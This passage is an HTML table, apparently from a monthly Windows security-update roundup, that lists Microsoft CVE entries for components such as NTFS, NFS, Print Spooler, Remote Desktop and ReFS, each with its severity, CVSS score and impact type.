  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
